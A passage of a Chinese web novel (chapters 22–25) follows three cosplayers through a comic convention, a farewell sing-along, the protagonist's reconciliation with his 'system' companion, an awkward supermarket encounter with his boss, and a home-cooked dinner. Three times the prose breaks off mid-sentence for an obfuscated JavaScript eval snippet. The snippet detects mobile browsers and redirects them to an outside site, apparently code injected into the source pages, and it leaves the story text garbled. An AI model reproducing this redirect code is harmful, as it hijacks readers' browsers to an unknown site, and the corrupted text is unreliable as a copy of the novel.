“这有啥的啊？习惯就好。”木鱼丝毫没把社恐少年的心理健康放在心上，“你们下次跟着我，就不会尴尬了。” 祁帘栅一脸不信，狄加也摇摇头。 木鱼见他们一副害怕的样子，笑了起来，“好了好了，你们就没感觉到这些游戏还挺好玩的吗？我觉得蛮有意思的。” 祁帘栅不置可否，狄加也有些沉默。 “老师，我在那边就看见你们出的好还原，能不能跟我集个邮啊？”突然的声音从祁帘栅背后响起，把他吓了一跳。 紧接着，祁帘栅就感觉这句话格外耳熟。他脸一黑，转过头，果然看见那位穿着短裙的成男coser正一脸微笑地站在他身后。 祁帘栅感觉自己今天运气不太好，好像被什么东西缠住了。 祁帘栅犹豫开口：“有没有一种可能，这是你今天第三次来找我集邮了？” 22.合唱 “啊，是吗？”成男coser本来很笃定的脸上闪过一丝茫然，“他”仔细看了看祁帘栅的脸，又看了看站在他身边的木鱼和狄加，看起来是真的没有印象了。 祁帘栅有点想笑，木鱼这会儿也认出面前这位老师，就是他们刚入场时来集邮的性转coser。 “你两个小时前刚找我们集过邮，不信你翻翻相册。”木鱼在一旁提醒道。 “是这样吗？”成男coser半信半疑地翻出相册，果然找到了不止一张祁帘栅的照片，“他”甚至还意外发现自己重复拍了好几个人。 “哦哦，不好意思啊，我记差了。”成男coser有些不好意思地冲他们笑了笑。 祁帘栅刚松一口气，想找个机会跟这位老师告别，就见“他”的视线突然落在狄加身上，眼前就是一亮：“老师，我记得上次没有集上你，那我能跟你集个邮吗？” 狄加面色一僵，他看着面前这位coser，很想坚定拒绝。但因为自己不经常跟人聊天，一时忘了怎么礼貌拒绝他人，就那么半推半就地和人合了影。 成男coser看着照片满意地点点头，对狄加道：“老师你出得很还原，而且今天出你这个角色的人挺少的，我逛了这么久，一共才遇到三个。” 狄加突然被人夸赞，一时有些不知道怎么回应，只能牵起嘴角，露出了一副自以为十分友好的表情。 但在祁帘栅和木鱼的视角里，只能看见狄加的嘴角好像失去了控制力，扯起一个奇怪的弧度，笑得极其僵硬。 那位老师夸到一半，突然见狄加这副表情，奇怪问道：“老师你是哪里不舒服吗？” 狄加脸上的表情收回去，有些茫然地摇了摇头。 成男coser也没过多在意，“他”又关心了狄加几句，再一次跟几人告别。 祁帘栅和木鱼眼见“他”走后，狄加就跟失了魂一样，犹豫了半天才茫然开口：“我有什么问题吗？” 木鱼看狄加这副样子，没忍住笑了一下，“没什么问题，那位老师太社牛了，你只是不适应。” 祁帘栅深以为然地点头。 狄加沉默下来，木鱼招呼着两人去那边看舞台表演，狄加突然很小声地说了句：“你也是。” “嗯？”木鱼转过头，问道，“什么？” 祁帘栅替狄加回答：“你也很社牛。” “没有吧？”木鱼想了想刚才那个老师的样子，觉得两人还是有些差距。 “都差不多。”祁帘栅回道。 木鱼没有在这个话题上过多纠结，她看那边舞台上一堆coser在跳舞，忍不住上前去凑热闹。 祁帘栅和狄加刚想找个角落躲起来，木鱼突然转过身，对两人说道：“我们也上去跳跳？” 祁帘栅坚定表示拒绝：“不要，不会。” 狄加惊恐摇头。 “试试吧，说不准你们很有天赋呢？”木鱼劝说道。 祁帘栅和狄加还想拒绝，就被人流推着上了台。祁帘栅这才发现，他们不知什么时候，混进了舞台候场的队伍里。 木鱼完全没有在意这个意外的小细节，她跟着人流走到最前面，还没准备好，音乐就响了起来。 木鱼一听，这是最近很火的一首曲子，她大脑还没反应过来，手脚就已经很诚实地开始跳舞了。 这个节目上台人数很多，还有台下的观众不时也会跟着跳上两下。 祁帘栅和狄加被夹在人群中间，没人发现有什么不对劲。 祁帘栅本来想着就这么默默站着，降低存在感，好找个机会偷偷溜下台。 谁知旁边的coser见他没跳，用手肘悄悄怼了怼他。 祁帘栅丝毫不准备妥协，还是没动。 那coser见他傻站着，借着舞蹈动作遮掩，对祁帘栅大声说道：“老师你怎么不跳？别社恐，跳起来啊。” 她话音一落，周围正在跳舞的coser都借着舞蹈动作，不约而同地转过头。 幸好音乐声比较大，前排的coser才没注意到这边的骚动。 祁帘栅被她们这统一的动作惊了一瞬，见还是有人不停看他，祁帘栅干脆自暴自弃地抬了抬手。 果然周围的coser见他跳起来，余光也不再往这边瞄。 祁帘栅长这么大就没跳过舞，四肢尤其不协调。 他只能尽力在人群中隐藏自己，别人抬手，他就慌乱地抬起手。结果别人手放下去了，他才举起手。 祁帘栅就跟做什么事情都慢半拍的傻小子，极其僵硬地在舞台后方蠕动。 就在祁帘栅即将跌倒舞台下方时，被身后的幕布挡了一下，他赶紧回头，视线一偏，就看见了不远处的狄加。 意外的是，狄加这人看起来闷闷的，跳起舞来还真的不丑。 狄加混在人群中，祁帘栅看不清他的身影，只能偶尔看见狄加的一两个动作。 在这样的场景中，狄加倒是比平常自如很多，好像只要跟很多人做着一样的行为，他就能暂时忘却自己。 祁帘栅手上的动作越发随意起来，他有一搭没一搭地看向狄加的方向，觉得蛮有意思。 这支舞不长，很快就谢幕了。 祁帘栅和狄加跟着人群下了舞台，一个没注意，木鱼就不知道跑到哪里去了。 他们两个小白后知后觉自己刚才干了什么尴尬事，虽然无人在意，但他们两人还是瑟瑟发抖地挤在人群中，恨不得找个地缝钻下去。 突然音乐声响起来，整个舞台的灯光变了一下。 舞台上开始表演起一个情景剧，说是情景剧，其实一看就能看出是业余人士弄的小节目。 背景是不知道从哪截下来的动漫片段，断断续续，讲不清楚一个完整的故事。 音乐也是混剪出来的，好几首歌夹杂在一起，演员还零零散散缺了几个。 祁帘栅和狄加趁着换场时间缩到角落里，台上开始表演起来。 大多是几个人物高光时刻的混剪，如果没有看过内容，仅凭这几个片段也看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330002|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出什么，甚至会觉得无聊，还有些中二。 祁帘栅坐在角落里，视线落在其中一个演员身上，他没有什么高光时刻，在一众“大人物”中看起来不太起眼，给到他的画面也就是那么零零散散的几个人影。 他其实也不太清楚，这种冷门角色为什么还是有人愿意cos，也不清楚自己的视线为什么就莫名其妙地停留在了这个角色身上。 直到演出结束后，他才猛然回神。 身边的狄加已经不知所踪，和木鱼一样不知道去了哪里。 祁帘栅默默收回视线，他想着找个安静的地方，看能不能借到个电话，联系一下估计早就忘了他的两个人。 一转头，发现木鱼正拉着狄加和一位coser老师合照。 祁帘栅意料之中，松了口气。 狄加看起来有些生无可恋，双眼无神地往祁帘栅这边看了一眼。 祁帘栅见木鱼转过头，就知道大事不妙，立刻转开了视线。 木鱼没有放过他，带着乌泱泱一群人就向祁帘栅这边走过来。 祁帘栅一下子看见这么多coser，有些局促。 木鱼开口介绍道：“这是熊猫老师，跟我们一起来的。” 木鱼身后的coser老师纷纷跟祁帘栅打招呼，也不知道木鱼是怎么做到的，记忆力超强地把每个人的cn都复述了一遍。 “我好不容易才找到一个团，正好缺我们三个。”木鱼说着整理了一下游场大半天的假发，“我们准备去外面拍个大合照，做个纪念。” “狄加老师和我都去，你去不去？”木鱼问道。 祁帘栅犹豫几秒，还是答应下来。 “好哎！”木鱼欢呼一声，和一群coser一起向外走去。 祁帘栅落在最后，他这一天下来脑子有些乱糟糟的，现在还没缓过神。 就在这时，场馆里突然响起一道熟悉的音乐声。 似乎是知道今天的活动就要结束了，众人突然在这时停了下来，没人再往外走，木鱼也顿下脚步。 不知道是谁先起头，熟悉的歌声在耳边响起，先是一声，再是七八声，最后所有的声音汇成一片。 所有人都停下了动作，站在原地唱着这首歌。他们的歌声并不齐，也没有专业的合唱那样好听，甚至唱到高潮时还有人激动到破音，把祁帘栅吓了一跳。 祁帘栅隐约听到了木鱼的声音，她站在门口，几乎是扯着嗓子喊出歌词，旋律都飘上了天，完全听不出她在唱什么玩意。 周围的人和她一样，乱糟糟的声音夹杂在一起，五音不全的喊声在此刻却好像和旋律融为了一体，似乎这首歌本来就该这样唱。 那样难听，却难掩动人。 祁帘栅是第一次听这首歌，他就那么跟着人群，听着那并不算清晰的歌词，隐约窥见了那群少年的心气与时光。 不仅属于书中人，也同样属于今天在场的每一个人。 那是一段跨越了十几年的共同回忆，盛大而又浪漫。 23.第一次 一首歌唱完，场馆中久久没有出现其他声音。 直到结展的通知响起，才有人回过神。 木鱼激动地想哭，但因为还有其他人在场，她硬是将心中的酸涩咽下去，一转头，却发现身边的coser眼角湿了大半。 场馆再次恢复闹哄哄的样子，夹杂着告别的声音。 木鱼想到这本书的时间线真的要在现实结束了，眼前闪过好多画面，她迫切地想要找人诉说一下心中的感受。 一转头，就见狄加和祁帘栅站在原地没动。 木鱼走上前，刚想伸手拍拍两人的肩，招呼着他们离开。 祁帘栅却突然开口：“真好。” 木鱼愣了一下，眼中的湿润再也憋不住，她想起今天自己化了妆，只能尽力仰着头，将眼里的泪憋回去：“是啊。” 狄加没说话，只是看起来更加沉默。 他们三人只觉得此刻很好，有不舍，也有期待。 祁帘栅似乎第一次认认真真地看着周围的一切，每一个人，不论是不是coser，脸上的表情都不同，但都藏不住心中的热情。 他们聚在一起，不为其他，只是因为热爱。 祁帘栅年纪虽然不大，但经历的事情不少，他很早就忘了，真挚地热爱一件事是什么样的。 但在今天，他好像重新想起了之前的感受。 他依稀记得，小时候他是想当设计师的，但这个梦太久，久到自己都忘得差不多了，今天想起来竟然有些陌生。 “熊猫老师，走了！”祁帘栅被木鱼的声音唤醒，他回过神，对着木鱼点点头。 他们走出场馆，天还没黑，只剩一抹夕阳挂在天边。 之前说好和木鱼拍照的coser老师们已经在门口架好设备了，见木鱼三人出来，冲他们挥了挥手。 祁帘栅跟在人群中，想找个角落站好，却被一群人推到了前排。 “你是主角啊，站这。”众人开着玩笑，“这可是大男主小说啊，你怎么跑那么远？” 祁帘栅想起来自己cos的确实是主角，没有推脱，在中间站好。 被众人包裹着，摄影师喊“一，二，三”，按下快门，画面被定格在这一块。 祁帘栅不常拍照，表情依旧有些僵硬，但比之前好上了不少。 木鱼一拍完照就好奇地凑到相机前去看，看见祁帘栅有些窘迫地站在中间，没忍住笑了出来。 她笑了一会儿，突然想起什么，问一边新认识的coser：“对了老师，还没来得及问你，你们团怎么会缺主角啊？一般这种角色都会提前预订好的，不应该剩下啊？” 那位coser老师将相机放下，冲木鱼无奈一笑，回答道：“一般是这样的，但因为那位老师临时有事，来不了，所以我们就缺了个‘重要人物’。” 另一个coser老师听到他们说的话后，凑过头补充了一句：“缺一个都拍不了团片啊！” 木鱼深以为然地点头。 之前那位coser老师继续说道：“其实很多小角色才难凑，人气没有其他人高，愿意cos的人也不多。” “但是能愿意cos他们的，一定都是因为特别热爱这个角色，再小众的角色也总有人喜欢着他们。” 狄加听到这，抬头看着那位coser老师。 祁帘栅听见他们的话，眼睛一直很亮，他想起之前舞台上的那个“龙套”身影，心中对他们的印象又加深了几分。 “我就挺喜欢这个角色的。”那位coser老师再次出声，“虽然这个人物存在感不是很强，但是我很喜欢他的人物弧光，每次看见那一段低谷期，我就能想到自己，但我却没有那么勇敢。” 木鱼看着自己有些凌乱的橙色假发，突然意识到，自己也有那么一刻羡慕着她的人生，无论何时，发生了什么变故，也总有哥哥一直陪伴在她身边。 “其实我们热爱着角色，也是喜爱着我们自己没有经历过的人生。”祁帘栅突然开口，狄加转过头，深深看向他的方向。 那群coser老师闻言，愣了一下，转头看向祁帘栅，其中一个人对他比了个大拇指，“太对了！会说话，哥们儿。” 祁帘栅浅笑了一下，那coser有些好奇开口：“老师，你怎么总结地这么好？” 祁帘栅没直接回答，他看向天边：“大概是我曾经也被人热烈又真挚地喜欢过。” 那coser老师愣了一下，恍然大悟道：“原来你受过情伤啊？那还挺少见，我以为我们这个圈子全是寡王呢。” 祁帘栅脸色一僵，半天没说出下一句话。 说起来也奇怪，他们这群人之前分明没见过，但聊起天来完全没有障碍，聊着聊着，甚至还升出一种相见恨晚的感受。 几人聊着聊着，几个小时的时间就过去了，天已经完全黑了。 他们这才意犹未尽地告别。 坐在地铁上，木鱼将刚才那位coser老师发过来的照片来来回回看了好多遍，根本舍不得放下。 狄加安静地坐在两人身边，看起来有些困，头在一边不停轻点，眼神也逐渐迷离起来。 祁帘栅安静下来，他第一次对漫展升出一丝不舍的感情，想着今天的一切，在脑海中呼喊起系统：“肉肉，你在吗？” 系统依旧没有答复。祁帘栅今天试着叫了他很多次，但系统一直没有吭声。 祁帘栅想了想，还是在心中说起来：“今天我觉得还蛮有意思的，原来漫展也挺好玩的，大家都挺热情。” “我之前还觉得他们装扮的好奇怪，不太理解，但是我现在明白了，原来真的有很多角色值得大家喜欢。” “一群喜欢同样作品的人聚在一起，交流互动，就像认识了很久的朋友一样。” “我想起了之前的一些事，他们这样一直热爱一个东西，真的很不容易……” “不容易？”系统突然出声，把祁帘栅吓了一跳，“那我呢？” 祁帘栅听出系统的声音有些冷，意识到什么，突然沉默下来。 “你只看到了这个圈子好的一面，其他的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344365|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面一个不提，擦边，卖惨，混热度……哪件事好了？”系统这回的声音大起来，似乎再也压抑不住怒气。 “我本来上班就烦，每天还得辛辛苦苦为你谋划，你没有身份证，我就翻了一晚上资料，帮你找你能干的工作。” “你没地方住，我就帮你想尽办法编一个身世，好让房东把房子租给你。” “现在好不容易走到今天这一步，你的工作也并不稳定，时刻都可能失业，我想点其他办法帮你多赚点钱怎么了？”系统的情绪彻底被点燃起来。 “你现在生活得多惨啊，每天挤在一个巴掌大的小房子里，干着今天有明天无的工作，都不知道什么时候就得到大街上要饭。” 系统一副恨铁不成钢的样子，几乎要指着祁帘栅的鼻子问道：“你倒是还挺心善的！你知道现在多难吗？所有人为了那点流量挤破头，恨不得什么吸引人的手段都用上，怎么博眼球怎么来。” “你呢？给你什么东西你都接不住，一会儿顾虑这一会儿顾虑那！这年代流量为王，你想干什么都绕不开流量。”系统似乎真的气急了，骂得也越来越起劲。 “我每天辛辛苦苦给你想办法，让你恢复以前的人气，你倒好，天天给我唱反调！现在观众想看什么，你就顺应时代给他们看什么就好。” “你以为你是谁？可以凭一己之力对抗整个时代的趋势吗？你凭什么可以独善其身，每天只干自己想干的事情？把别人的好心当驴肝肺？” “你以为你想做什么就做什么很简单吗？你还以为像在书里面一样，所有人都围着你转……” “肉肉，”祁帘栅的声音不大，却在系统气急败坏的声音里显得格外清晰，“谢谢。” 系统没有听祁帘栅说什么，只想把自己心中憋着的话一股脑全说出来，祁帘栅也没急着说话安抚他，继续道：“我明白你都是为我好。” “……谁想为你好？我是不得不帮你做事！倒了八辈子霉才摊上你这么个沙币宿主……” “其实我挺羡慕你的，能看清这世界上绝大多数事情的本质，也能找到最好的破局方法。你心善活泼，有什么不满就说出来，还有点傲娇，是我小时候最想成为的那种人。” 系统听到这，话音突然停下，大脑空白一瞬。 祁帘栅继续道：“其实你第一次出现，我就想说了，我并不需要什么圆满人生，也并不想要你所说的钱、权、名，虽然这些听起来很美好，我也很向往，但是……” 祁帘栅话音微顿，突然笑了一下，“……可能是我没有真的体验过拥有这些的感觉，所以不知道究竟有多快乐，自然谈不上喜欢。” “不知道是不是作者的原因，他是叫韭菜盒子是吧？”祁帘栅睁开眼，似乎看见系统就站在自己对面，是一个模糊少年的模样，“我似乎不爱顺着大势走，就爱走小路，别人越让我怎么干，我就越不想顺着他们的心意。” 系统说不出话来，祁帘栅笑了笑，最后补充了一句：“肉肉，谢谢，还有，我想邀请你，和我一起过一段可能不是很精彩的人生。” 24.买菜 系统沉默下来，没有再跟祁帘栅说话。 祁帘栅看着对面地铁窗户上映出的灯影，淡淡笑了一下。 系统哼了一声，转瞬就失去了踪迹。 “熊猫老师，你怎么盯着自己笑？”木鱼不知道什么时候抬起头，她已经把手机里的照片发给狄加了，这会儿看着祁帘栅的目光有些怪异。 祁帘栅从自己映在窗户的影子上移开视线，有些无奈道：“感觉自己今天挺帅。” “哦哦，明白。”木鱼也学着他对着玻璃上的自己笑了一下，“我觉得自己今天也挺帅的。” 祁帘栅没说话，看着木鱼一副自恋的样子，有些不忍直视地移开眼。 他一转头，就见狄加不知什么时候清醒过来，正盯着自己的影子看。 祁帘栅有些无语，觉得他们两人挺幼稚。 几人累了一天，从早上起来脚就没停下来过，祁帘栅还好，但木鱼穿着高跟鞋，狄加穿着内增高，一天下来，脚都失去知觉了。 他们两人自从坐在地铁上，腿就一直瘫在那，一动不想动。 地铁到站，车身晃了一下，木鱼手里的斗笠直接飞了出去。 木鱼脸一垮，费力弯下身子，伸长手去抓。 她已经把手伸到最长，但每次就是差一点。手在斗笠两边虚抓两下，反倒把斗笠推得更远。 木鱼又把身体伸出去，这回无论怎么抓都抓不到斗笠边缘。 祁帘栅实在看不下去，起身帮她捡回来。 木鱼一见这情景，立刻笑起来，她眯着眼，甜甜说了一句：“谢谢熊猫老师。” 祁帘栅无奈回了句：“不客气。” 他这句话刚说完，狄加手里的物料就滑了下去，在地上发出一阵塑料的沙沙声。 祁帘栅脸一僵，狄加反应过来，起身想去捡，结果一下没站稳，脚向旁边崴去，踉跄两步，差点撞到对面的座位。 这巨大的动静把祁帘栅和木鱼惊了一下，两人赶紧转头，就见狄加正有些艰难地弯下腰，拿起地上的物料。 他一瘸一拐地走到座位上坐下。 祁帘栅看了半天，还是没忍住问了一句：“你没事吧？” 狄加摇了摇头。 木鱼在一边看着狄加这副样子，没好气说：“你脚都崴了，还没事？” 狄加不再说话，只静静坐在一边。 他们下车的时候，狄加果然有些走不动路了，但他没有表现出来，只能尽量加快脚步，一瘸一拐地往前跑。 木鱼无奈转头，按住狄加的肩。 祁帘栅顺势抓住他另一边肩膀，和木鱼两个人一边一个，搀扶着他往前走。 狄加轻轻挣扎了一下，被木鱼瞪了一眼后，不敢再动，只能被迫夹在两人中间。 等他们回到家后，狄加把他十厘米的增高鞋脱下来，脚上果然肿了一片。 几人瘫在沙发上后，就再也没爬起来。 最后还是祁帘栅强撑着把几人拉起来，让他们一个个去镜子前卸妆。 木鱼游场了一天，因为祁帘栅没有做毛娘的经验，木鱼的假发直接炸了，尤其是肩膀两侧，乱糟糟缠成一片。 木鱼废了好大劲才把假发取下来，一看，已经不能用了。 祁帘栅眼睁睁看着自己忙活一早上的假发被木鱼随手一扔，在沙发上变成一团乱麻。 祁帘栅欲言又止，叹了口气，“木鱼，你的假发。” “嗯？怎么了？”木鱼疑惑转过头，看见自己一团乱七八糟的假发，摊了摊手，“长发是这样的，习惯就好。” 见祁帘栅还是有些忧郁，木鱼安慰他道：“没事，我今天用柔顺剂泡一天，明天肯定能梳开。” 祁帘栅不太相信木鱼的话，但木鱼拿卸妆棉随便在脸上抹了两下，就倒在沙发上不动了。 过了几秒，木鱼突然抬起头，说了一句：“我今晚在沙发上凑合一晚。” 说完这句话，她又继续头朝下倒在沙发上。 狄加和祁帘栅面面相觑，两人没再说话，悄悄收拾完东西，就回到房间休息去了。 想了想，祁帘栅还是抱出去一床被子，搭在木鱼身上。 木鱼睡得还挺沉，完全没有察觉。 不出所料，第二天他们三个人起床后，一看时间，已经中午十二点了。 三人昨天光顾着逛展，一天下来就没怎么吃东西，这会已经饿到前胸贴后背。 木鱼实在忍不住，拿出手机开始点餐：“你们吃点什么？” 狄加默默看了她一眼，没说话。 祁帘栅随意道：“都行。” 木鱼又问狄加：“你呢？” 狄加看着木鱼，犹豫几秒，还是说道：“你跟我说不能吃外卖。” “可是我又不会做饭，”木鱼说得理直气壮，“熊猫老师你会吗？” “我，”祁帘栅实话实说，“会一些。” 木鱼和狄加顿时转过头看向祁帘栅，满眼期待。 祁帘栅回视他们，叹了口气：“中午先吃外卖吧，晚上我做。” 木鱼悄悄比了个耶，冲狄加眨了眨眼。 几人中午吃过饭，木鱼和狄加又在床上躺了一个下午，傍晚的时候和祁帘栅一起出门买菜。 木鱼经常来这边找狄加，倒是比狄加还熟悉附近的情况，带他们到了一家东西便宜划算的商店。 祁帘栅一到商店门口，就愣在原地。 木鱼和狄加走了两步，见祁帘栅还没跟上，木鱼奇怪转头：“熊猫老师，你怎么不走了？” 狄加也站在一边疑惑地看着他。 “没事。”祁帘栅咬咬牙，将黑色冲锋衣上的帽子扣在头上，才跟在两人身后走进超市。 木鱼一进超市，就带着祁帘栅和狄加直奔买肉区，她挑挑拣拣好一阵，挑起一块肥瘦相间的五花肉，瘦肉和肥肉七比三，完美比例。 狄加一点肥肉都不吃，没忍住露出一副嫌弃的表情。 两人买好肉转过头，就见祁帘栅这回把自己挡得更加严实，一副做贼心虚的表情。 木鱼奇怪问道：“熊猫老师，你不会干了什么见不得人的事情吧？” “没有。”祁帘栅用气音回答木鱼，一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352839|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走来一位长相甜美的店员，祁帘栅立刻转过身，正好跟她错开。 木鱼和狄加用一种更加奇怪的表情看着祁帘栅，祁帘栅也没解释，只是一边低声催促他们，一边带着他们远离了这块区域。 木鱼见祁帘栅一副鬼鬼祟祟的样子，没忍住上前，踮起脚拍了下他的肩。 祁帘栅一个哆嗦，犹豫着转过头。 看见木鱼的时候，祁帘栅明显松一口气。 系统见他这副没骨气的样子，时隔大半天终于开口：“你好废物。” 祁帘栅听见这声音愣了一下，半天才回过神：“肉肉？” “嗯。”系统回答的声音明显不情不愿。 祁帘栅知道系统这是在别扭地示好，两人默契地没谈之前的不愉快。 “我这不是怕被老板发现吗？谁知道他们带我来的是这家商店？”祁帘栅叹了口气，“我刚跟老板请两天假，说是回家看父母，不能突然出现在这里。” “这里这么大，她不可能看见你。”系统撇了撇嘴，对祁帘栅这副样子表示不屑。 “万一呢，你不懂，”祁帘栅沉痛道，“我运气波动向来很大，说不准今天运气就不好了。” 系统有些认同：“这是主角标配，运气随作者心意来定。” “但现在你不受作者控制了，按照正常概率，你不会碰到老板。”系统信誓旦旦。 祁帘栅有些不信任系统的话，但看周围人都很轻松地在挑选商品，自己确实有些奇葩，反而更显眼。 祁帘栅试探性把帽子摘下，没人注意。他放心下来，正常在木鱼和狄加身后跟着。 “熊猫老师，你喜欢吃什么菜？”木鱼挑了两个西红柿，就不知道买些什么了。 祁帘栅想了想，买了几根小生菜，又去水产区挑了几只大虾。 他刚把手里的东西交给店员称重，就发现店员一直看着他。 祁帘栅心里暗道一声不好，系统嫌弃地哼了一声，“你怕啥？她又不是老板，又不知道你请假了？” 祁帘栅一想还真是这样，立刻换上一副常见的温和表情：“你好。” “哦哦，你是那个帅哥售货员吧？”店员妹妹笑起来，一边帮他称东西，一边跟他聊起天，“你今天买菜做饭吗？” “是的。”祁帘栅被她说得有些不好意思。 “我之前就注意到你了，同事群里都聊了好几天了，说是来了个帅哥。”店员说着，突然想起什么，“对了，你还没加群吧？要不要我把你拉进来？” 祁帘栅刚想答应，想看看大家都是怎么聊自己的，转念一想自己没手机，只能有些可惜地拒绝：“不用了，我就不看了，不然显得有些自恋。” 店员可惜，但也没再多说什么，就是跟他吐槽了几句工作上的事。 祁帘栅听着，感觉还挺奇妙，第一次体会到偷偷蛐蛐老板的快乐。 店员帮他称好重，还顺口夸了一句：“现在会做饭的男生挺少的，帅哥贤惠。” 贤惠帅哥祁帘栅被人夸得有些飘飘然，提着菜转过头，就看见老板正站在对面看着他笑。 25.三角 祁帘栅鸡皮疙瘩冒了一身，他正想装作没看见老板，从旁边溜走。 木鱼不知道从哪窜出来，提着大包小包菜，开心地对祁帘栅说：“买得差不多了，你看看还有什么要买的东西没？没有的话我们就回去吧。” 祁帘栅来不及溜走，只能眼睁睁看着老板靠近自己，笑眯眯地问：“跟女朋友出来约会？” “什么跟什么？”木鱼下意识接道。 她见祁帘栅面前不知道什么时候出现一位穿着红衣的高挑女子，有些疑惑。 祁帘栅犹豫几秒，认命介绍道：“这是我老板，我在这家商场工作。” “哦，啊？”木鱼突然想起来什么，看着祁帘栅眼中充满怜悯，有种朋友说谎被当场抓包的幸灾乐祸。 狄加见他们站在这边半天没动，沉默地走到几人身边。 尽管今天出门的时候已经是徬晚了，狄加还是带了个墨镜，将自己淡色的瞳孔隐藏起来。 他一头银白色的头发在人群中极为显眼，有种潮人青年的感觉。 老板的视线不自觉就被狄加吸引，她又看了看祁帘栅，笑道：“还是三角恋？”语气中明显是调侃的意味。 祁帘栅知道老板没真生气，松了口气，他认错态度良好，“老板，我不是故意的。” 老板不在意地摆摆手，“我知道你们这群小年轻事情多，趁着年轻，多玩两年也属正常。” “只是下次请假别再用父母当借口了，他们也怪不容易的，三天两头还得生个大病，是吧？”老板说着自己先笑了出来。 “行了，不打扰你们了。”老板看样子准备回家了，懒得跟祁帘栅三人扯皮。 祁帘栅松了口气。 老板走到一半，突然转头严肃道：“明天准时来上班！” 祁帘栅一个激灵，赶忙应道：“好。” 等老板走远后，木鱼才有些同情地出声：“熊猫老师，你今天运气真差。” “我也觉得。”祁帘栅点点头。 系统自从开口说了一句话后，话明显多了不少，他没忍住嘲笑祁帘栅：“我怎么感觉你的人生依旧在被作者摆布。” “估计真是吧。”祁帘栅无奈道。 这回买菜的钱是木鱼和狄加掏的，两人无论说什么都不让祁帘栅掏钱。 “你都给我们做饭了，我们不能再收你的钱。”木鱼坚持出声，“再说这么多菜，你肯定要做很久。” 祁帘栅见木鱼和狄加坚持，没再反对，进厨房开始琢磨怎么做饭。 木鱼和狄加什么都不会做，帮不上忙，只能坐在沙发上一脸期待地看着祁帘栅。 祁帘栅打开食品袋，发现五花肉和鱼片都是商店切好的，他稍微清洗了一下，将五花肉焯水，放入砂锅，加调料和黄酒小火慢炖。 在炖肉的间隙，祁帘栅将鸡翅洗净，划上一条条刀痕，他正焯水的时候，木鱼带着狄加走进来了。 祁帘栅有些疑惑地看着他们，木鱼不好意思地解释道：“我们饿了，来看看有没有什么能帮你的，这样能快些吃饭。” 祁帘栅看着他们，有些犹豫：“要不你们挑虾线？” “行。”木鱼答应地很干脆。 她和狄加两人，一人搬了个凳子，坐在水池边挑起虾线。 两人的手艺不太好，一根虾线挑半天才能挑出来。 祁帘栅趁他们挑虾线的功夫，把鱼片冲洗干净，又加入料酒、盐、蛋清、淀粉腌制，放入冰箱冷藏。 祁帘栅看着时间差不多了，把焯水的鸡翅捞出来洗干净，就开始烧锅倒油。 鸡翅一下锅，熟悉的香味就直往木鱼和狄加鼻子里钻，两人眼巴巴转头，看见煎得两面金黄的鸡翅，咽了咽口水。 祁帘栅最后倒进去一罐可乐，又加入生抽、老抽、料酒，姜片，转头去检查木鱼和狄加的工作。 两人见状立刻转头认真挑虾线。 祁帘栅无奈摇了摇头，又拿了个锅下鱼片。 鱼片熟得很快，几分钟后就被祁帘栅捞出锅，他在上面洒满花椒，蒜末，干辣椒段，就听见木鱼和狄加聊了起来。 木鱼的嘴从进厨房起就没停过，狄加一边听着，偶尔点点头。 祁帘栅见他们的工作才进行了一半，无奈只能加入战场，有了祁帘栅的加入，没过几分钟虾线就挑好了。 虾线挑完了，木鱼和狄加也不走，就站在一边眼巴巴看着祁帘栅做油焖大虾。 祁帘栅在锅中放油，烧热后放入葱姜蒜末爆香，木鱼和狄加在一边满意地吸了吸鼻子，看着大虾从青灰色变成有食欲的淡红色。 祁帘栅倒入料汁，炖了一会儿，开大火收汁，待汤汁浓稠地包裹在虾身上，最后撒上葱花点缀。 木鱼咽了口口水，油焖大虾一出锅，她就立刻端在手里，在一旁闻着味咽口水。 祁帘栅看鸡翅也快好了，撒上一些白芝麻，又一盘菜出锅。 狄加看准时机，接过来端在桌子上。 祁帘栅最后烧一勺热油临在鱼片上，辣椒的香气混合着鱼香顿时散发出来，木鱼和狄加抢着进厨房，端走这盘菜。 祁帘栅想了想，又烧水烫了下生菜，浇上料汁端了出来。 木鱼和狄加看都没看这菜一眼，最后还是东坡肉的香气吸引着两人，两人才看向祁帘栅手里的菜。 一共五道菜上齐，木鱼和狄加已经跃跃欲试。 “太香了！熊猫老师，我这辈子都要做你的好亲友！绝对不离不弃！”木鱼嘴里的话是对祁帘栅说的，眼神却丝毫没向祁帘栅那边看，一直紧紧盯着桌上的美食。 狄加听见这话，用力点了点头。 祁帘栅见他们这么馋，也没耽搁，说道：“快吃吧，等会儿要凉了。” 